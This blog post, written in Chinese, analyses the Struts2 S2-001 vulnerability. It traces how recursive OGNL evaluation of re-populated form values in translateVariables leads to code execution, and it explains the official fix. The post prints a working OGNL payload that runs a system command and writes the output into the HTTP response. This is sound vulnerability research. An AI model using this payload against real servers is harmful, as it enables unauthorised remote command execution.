• 1. Stay - Post
  • 2. Circles - Post
  • 3. Hollywood's_Bleeding - Post
  • 4. A_Thousand_Bad_Times - Post

Struct2 S2-001漏洞分析

Struct2 S2-001漏洞分析

前言

最近总算是入了Java安全的门了,说到Java的漏洞Spring,Weblogic,JBoss,Struct2,FastJson等基本都是绕不过去的坎,这次我们试着来分析一下Struct2的第一个洞,虽然有些年代感了,但还是比较经典的。网上大部分都是Poc很少有人分析这个漏洞的成因,所以这次我们来试试。

环境搭建

使用漏洞环境为:Vulhub/struct2/s2-001/

jdk版本: 1.7.0_80

tomcat版本: 8.5.55

P神的环境里面只有一个war包,但作为漏洞分析我们肯定少不了调试的,百度了一下,基本没有给出一个war包直接导出项目的办法,所以我们将war包中的源码解压出来,在idea重新创建一个Struct2项目,将源码搬过去。当然.class是不能直接搬过去的,因为是那个Java编译好的代码,所以我们使用idea的反编译,将反编译的源码带出即可,然后其他的.xml之类的基本可以粘贴复制了,不过需要注意的是lib包也要带出。

项目创建就直接:

然后一路next下来即可,中间一些项目名之类的不需要多说了。

然后把war包中的内容搬过来,还需要注意的是需要在项目结构中把库设置好:

这里设置成自己lib的路径即可,不过好像需要放在web目录下

最终项目结构如下:

简单POC:

%{7*7}

命令执行:

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"id"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

具体怎么来的相信看payload,就能知道大概了,主要是Ognl支持创建变量,只是标识符为#

效果图:

这就完成一次简单的复现了,但重点是我们要明白漏洞成因,从这个简单POC并且有研究过ssrf,spel注入的同学,一定有点想法了。没错又双叒叕是动态渲染的锅,这里应该还是某种类型的表达式经过渲染,导致的代码执行。这里的漏洞成因,借用原项目的概述:

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

漏洞分析

首先从漏洞概述可以看出是参数如何处理的问题,先看登录控制器LoginAction.class

public class LoginAction extends ActionSupport {
    private String username = null;
    private String password = null;

    public LoginAction() {
    }

    public String getUsername() {
        return this.username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public void setPassword(String password) {
        this.password = password;
    }

    public String execute() throws Exception {
        if (!this.username.isEmpty() && !this.password.isEmpty()) {
            return this.username.equalsIgnoreCase("admin") && this.password.equals("admin") ? "success" : "error";
        } else {
            return "error";
        }
    }
}

由于这里我们是在PassWord注入的payload,所以我们在getPassword处打上断点,当jsp调用getPassword方法来获得密码框的值时,观察整体函数栈:

首先我们需要了解Struct2里面是使用拦截器机制来处理请求:

参考文章:Struct2 拦截器

借用里面的图:

简单来说就是Struct2接受到了页面请求之后,会交给StrcutsActionProxy进行代理,然后这个代理类会分发给DefaultActionInvocation进行具体处理,从函数栈来看是这样的:

这个时候只是获得用户输入参数,还没有进行jsp的渲染,然后:

这里说生成Request对象可能并不准确,但是可以这样理解。

然后继续看函数栈,随后在解析好对应的jsp标签之后,会生成对应的Ognl表达式,所以后面会出现使用Ognl类的情况

最开始由于我们在jsp中使用了模板渲染,因此头两个函数是解析到了模板语法的闭合,来分析值的问题,从evaluateParams函数开始就是重头戏了,首先evaluateParams会生成Ognl表达式:

这里由于jsp中的标签为:

<s:textfield name="password" label="password" />

自然需要找到的是password的值,而寻找的方式是通过Ognl表达式寻找,我们会发现这里expr = "%{+name+}";使用拼接的方式生成Ongl表达式,最后通过这个表达式去寻找对应的值,接着进入下一个translateVariables:

    public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator) {
        // deal with the "pure" expressions first!
        //expression = expression.trim();
        Object result = expression;

        while (true) {
            int start = expression.indexOf(open + "{");
            int length = expression.length();
            int x = start + 2;
            int end;
            char c;
            int count = 1;
            while (start != -1 && x < length && count != 0) {
                c = expression.charAt(x++);
                if (c == '{') {
                    count++;
                } else if (c == '}') {
                    count--;
                }
            }
            end = x - 1;

            if ((start != -1) && (end != -1) && (count == 0)) {
                String var = expression.substring(start + 2, end);

                Object o = stack.findValue(var, asType);
                if (evaluator != null) {
                    o = evaluator.evaluate(o);
                }
                

                String left = expression.substring(0, start);
                String right = expression.substring(end + 1);
                if (o != null) {
                    if (TextUtils.stringSet(left)) {
                        result = left + o;
                    } else {
                        result = o;
                    }

                    if (TextUtils.stringSet(right)) {
                        result = result + right;
                    }

                    expression = left + o + right;
                } else {
                    // the variable doesn't exist, so don't display anything
                    result = left + right;
                    expression = left + right;
                }
            } else {
                break;
            }
        }

        return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
    }

这里我们注意到了启动了一个死循环,他具体的作用就是解析Ogrl表达式,然后调用Object o = stack.findValue(var, asType);去找到对应的值,还记得我们之前看拦截器对象时候的情况吗?我们传入的值被塞入一个Stack里,因此这里我们会看到通过stack去找值:

这里首先通过password参数,找到了password对应参数为%{7*7},然后又会解析一次,从而导致去寻找7*7的值,这个时候循环并未结束,注意循环进行的条件:

if ((start != -1) && (end != -1) && (count == 0)) {
    /*
     * 进行查值并将结果重新赋值给result
     * 进行下一次循环校验result格式,依然为Ongl表达式
     * 进行下一次查值,直到结果不是Ongl表达式,即if不满足
     */
}else{
    break;
}

从而这里实际上是实现的递归解析,所以这里自然可以注入恶意的Ognl表达式了。

最后通过反射的invoke方法进行返回,具体解析是通过OgnlUtil.getValue进行的,实际上这个类最后调用的是抽象类Ognl中的getValue,具体实现细节就不去纠结了,总之最后调用:

动态解析得出值,最后返回给模板,然后又一次进行拦截器的相关操作,返回一个Respose对象。

有关修复

我们来看看官方是如何修复这个问题的:

第一个地方,增加了递归深度的限制:

给定了一个最大递归深度,默认为1,而进行分析时,每进行一次循环将递归次数计数器加一,从而当进行第二次递归时,由于已经超过了最大递归深度了,所以退出。

第二个地方防止了用户输入的解析:

以前是直接使用对象进行递归,因为如果这里被注入了命令执行的代码,那么代码返回的一定是一个对象,现在会将对象先转化成为字符串进行递归了,让命令执行的代码对象因无法被转化成字符串而自动退出,从而杜绝了因为对象取值,所引起的动态解析问题。

最后总结一下,这个漏洞的触发点实际在于Struct2将用户错误输入返回原页面,在传递值的过程中进行递归动态解析,不会返回到一个错误界面,而并非校验错误,因为常用的校验类Validation,在实际调试的过程中没有抛出任何错误。,其次函数栈是个非常好的分析方法,只是要下对断点....
参考文章:

【Struts2-命令-代码执行漏洞分析系列】S2-001

Struct2 拦截器


除非注明,ebounce文章均为原创,转载请以链接形式标明本文地址

本文地址:http://ebounce.cn/web/67.html

新评论

captcha
请输入验证码